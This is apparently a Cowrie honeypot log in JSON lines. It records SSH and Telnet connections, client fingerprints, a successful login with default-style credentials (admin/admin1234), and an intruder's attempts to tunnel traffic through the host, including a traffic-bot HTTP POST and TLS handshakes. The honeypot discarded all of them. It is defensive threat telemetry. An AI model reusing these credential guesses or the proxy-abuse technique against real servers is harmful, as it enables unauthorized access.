{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:58.416439Z","src_ip":"51.250.105.222","session":"f7e285de48d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49324,"dst_ip":"159.203.135.109","dst_port":23,"session":"b766568b70cd","protocol":"telnet","message":"New connection: 172.81.62.90:49324 (159.203.135.109:23) [session: b766568b70cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:00.321128Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":60238,"dst_ip":"10.17.0.5","dst_port":22,"session":"5042470071a9","protocol":"ssh","message":"New connection: 113.164.152.20:60238 (10.17.0.5:22) [session: 5042470071a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:17.629158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:17.638762Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:17.965985Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"90cc81a8e23f","protocol":"telnet","message":"New connection: 128.199.8.54:48524 (159.203.135.109:23) [session: 90cc81a8e23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:18.602563Z"}
{"eventid":"cowrie.session.closed","duration":0.004884958267211914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:18.607286Z","src_ip":"128.199.8.54","session":"90cc81a8e23f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:19.263951Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:19.717611Z","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:19.823205Z","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:20.141583Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/14C92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QEkhRCZeVlZleFpfKTRFSw%3D%3DD3ET3gPF654H8msdKGOMgQrWlmvhgXKUjUKbpq%2BBrOiI6GUErs8q8sglNSvxkOsaq2CBj0dksNc7IVqugkHm%2Fb3A4YmpnWhgyfDX0LTSl66QV%2FTRgv898gR5h9Qx5g2VHCsaxAZiTi8tUTvtBG8oBixfZmj1INw4oitWgxry6nq%2Fw0XX1aCmYZJzqMzaPt1cb4cjpV7xtVsZ7Algvvr%2F9Wj71KiXyipDlh1LIB5EuIkJXTi6jC%2BvDffxaFvHzNyaFx6ppjWUDSt1QWeJBvHqv%2FSa3x5HEgaVEWRwdmMBGkmOHGfbPBXfo6%2Fhw54O0UVOGche9B73hgyXubPGJmXxaUrJNPiL6JMPPq5oPQDwvLQygsw5PTTdLJLs5E%2Bn%2BE2iQUwmY%2FSZQ1KaKhNZA2kgzTAqesBKcuEsqq0DRUKgh6MkYEUrIovuCaxunYgJKwKxj7S8tjYMSK%2B6cRr6EUBQRG9SGhqaSqTJ1%2FBdeAQcskz2iyLXSTCaudIbCww%2BqohLq%2B2mN6ylIHduNjCsZCPN5Cl%2BBcpH2acuhn3Ph%2Bgbz4o%2FGCRpIhORikRV4wU2uURE9qMsmMp%2FoQ5eXBAKCo3NLiXXAhH40Yw36h1WEABdbypJs9z7VY7mrukHFhqNO4jR9SWvhlUtW0DQ90P3ik%2BTtAT3yh9obk%2BoC7xO6BqDc5yqYRCzyUIev6bXbSffC5GjM8FAlAgBagDv6WbOdnlust9fv%2FX%2By50kNbcITzod5EX%2BqRV3dJsSImfAi%2B9YB39e9HqXhVRlH3aVPVBNzomp%2FP6LDw89S%2B5XpzQWrAhUW%2FmBPmy1W14lwe6ya7DA5HNi0012LLCTSjNM749gGSr8egAtEwK1IigMc8BXmoZPG01cFM0OjuByH%2FLC0%2FGq5wlcasj7TOpHwlw2dQbu5%2Bely1%2BcGZ7y6pmBON10uLqXeiPrdz6XUdxKx9D%2BaLZ9I05vlUu%2BL5ODISTTX5WieyR6o91dDqRg%2BU5UOm1tiNYsEkRzWB1hGqmPF0D4fXKwsrNbka6spf1ERxfiV22adIrIQhsKnSHzoB9GnUBxHW%2FzDNY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/14C92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QEkhRCZeVlZleFpfKTRFSw%3D%3DD3ET3gPF654H8msdKGOMgQrWlmvhgXKUjUKbpq%2BBrOiI6GUErs8q8sglNSvxkOsaq2CBj0dksNc7IVqugkHm%2Fb3A4YmpnWhgyfDX0LTSl66QV%2FTRgv898gR5h9Qx5g2VHCsaxAZiTi8tUTvtBG8oBixfZmj1INw4oitWgxry6nq%2Fw0XX1aCmYZJzqMzaPt1cb4cjpV7xtVsZ7Algvvr%2F9Wj71KiXyipDlh1LIB5EuIkJXTi6jC%2BvDffxaFvHzNyaFx6ppjWUDSt1QWeJBvHqv%2FSa3x5HEgaVEWRwdmMBGkmOHGfbPBXfo6%2Fhw54O0UVOGche9B73hgyXubPGJmXxaUrJNPiL6JMPPq5oPQDwvLQygsw5PTTdLJLs5E%2Bn%2BE2iQUwmY%2FSZQ1KaKhNZA2kgzTAqesBKcuEsqq0DRUKgh6MkYEUrIovuCaxunYgJKwKxj7S8tjYMSK%2B6cRr6EUBQRG9SGhqaSqTJ1%2FBdeAQcskz2iyLXSTCaudIbCww%2BqohLq%2B2mN6ylIHduNjCsZCPN5Cl%2BBcpH2acuhn3Ph%2Bgbz4o%2FGCRpIhORikRV4wU2uURE9qMsmMp%2FoQ5eXBAKCo3NLiXXAhH40Yw36h1WEABdbypJs9z7VY7mrukHFhqNO4jR9SWvhlUtW0DQ90P3ik%2BTtAT3yh9obk%2BoC7xO6BqDc5yqYRCzyUIev6bXbSffC5GjM8FAlAgBagDv6WbOdnlust9fv%2FX%2By50kNbcITzod5EX%2BqRV3dJsSImfAi%2B9YB39e9HqXhVRlH3aVPVBNzomp%2FP6LDw89S%2B5XpzQWrAhUW%2FmBPmy1W14lwe6ya7DA5HNi0012LLCTSjNM749gGSr8egAtEwK1IigMc8BXmoZPG01cFM0OjuByH%2FLC0%2FGq5wlcasj7TOpHwlw2dQbu5%2Bely1%2BcGZ7y6pmBON10uLqXeiPrdz6XUdxKx9D%2BaLZ9I05vlUu%2BL5ODISTTX5WieyR6o91dDqRg%2BU5UOm1tiNYsEkRzWB1hGqmPF0D4fXKwsrNbka6spf1ERxfiV22adIrIQhsKnSHzoB9GnUBxHW%2FzDNY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:20.144717Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:20.417622Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\x04\\x98\\x07\\x8fj\\x98z\\xf5\\xc4~b\\x94\\xb2\\xea\\xf4c\\xe6U\\x88\\xdaB\\x01\\xb9\\x81\\xe0\\x80t\\xa6\\x1f\\xf7\\xa2 \\xea\\x06i\\xa3iY\\x0b?i}^\\x88\\x94\\xe0H\\xa2/d\\x0cM\\xc6\\xb3\\xd9`\\x8f\\xd1.S7\\xa3\\x89q\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 g\\xc4>\\xdfUx\\xfa\\xbe\\x9d\\xa5\\x16\\x81\\xc0\\xe8\\xab\\x9c\\xdcn\\x9ct\\tu\\xdf#\\xe3\\x85[\\xc5\\x82\\x9dO\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\x04\\x98\\x07\\x8fj\\x98z\\xf5\\xc4~b\\x94\\xb2\\xea\\xf4c\\xe6U\\x88\\xdaB\\x01\\xb9\\x81\\xe0\\x80t\\xa6\\x1f\\xf7\\xa2 \\xea\\x06i\\xa3iY\\x0b?i}^\\x88\\x94\\xe0H\\xa2/d\\x0cM\\xc6\\xb3\\xd9`\\x8f\\xd1.S7\\xa3\\x89q\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 g\\xc4>\\xdfUx\\xfa\\xbe\\x9d\\xa5\\x16\\x81\\xc0\\xe8\\xab\\x9c\\xdcn\\x9ct\\tu\\xdf#\\xe3\\x85[\\xc5\\x82\\x9dO\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:20.420863Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:20.973025Z","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:21.254342Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbbFK\\xdb{W4\\x8c\\x90\\x00\\xb0axz=\\xaf[\\xdb\\x87iVN\\x97KXdDK^\\xc6\\xb8k \\xd4S\\xed\\xce^Z\\xd0kx\\x0e\\xc6y\\x95\\xb5nR\\xcb&\\x8c\\xbd\\xfa\\x08Z\\x03p;C\\xf0\\xa8\\xa2\\xea\\x9d\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f?\\x18\\x9em\\x1c?\\xbe\\xa1\\x98\\xc3\\xaa\\xbc\\x0c\"C\\xd6\\xfewx(\\x04X\\xbd\"\\'\\xa5>\\x1d\\xcc\\xdd{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbbFK\\xdb{W4\\x8c\\x90\\x00\\xb0axz=\\xaf[\\xdb\\x87iVN\\x97KXdDK^\\xc6\\xb8k \\xd4S\\xed\\xce^Z\\xd0kx\\x0e\\xc6y\\x95\\xb5nR\\xcb&\\x8c\\xbd\\xfa\\x08Z\\x03p;C\\xf0\\xa8\\xa2\\xea\\x9d\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f?\\x18\\x9em\\x1c?\\xbe\\xa1\\x98\\xc3\\xaa\\xbc\\x0c\"C\\xd6\\xfewx(\\x04X\\xbd\"\\'\\xa5>\\x1d\\xcc\\xdd{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:21.257597Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:21.709035Z","src_ip":"113.164.152.20","session":"5042470071a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57588577270508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:34.896810Z","src_ip":"172.81.62.90","session":"b766568b70cd","protocol":"telnet"}
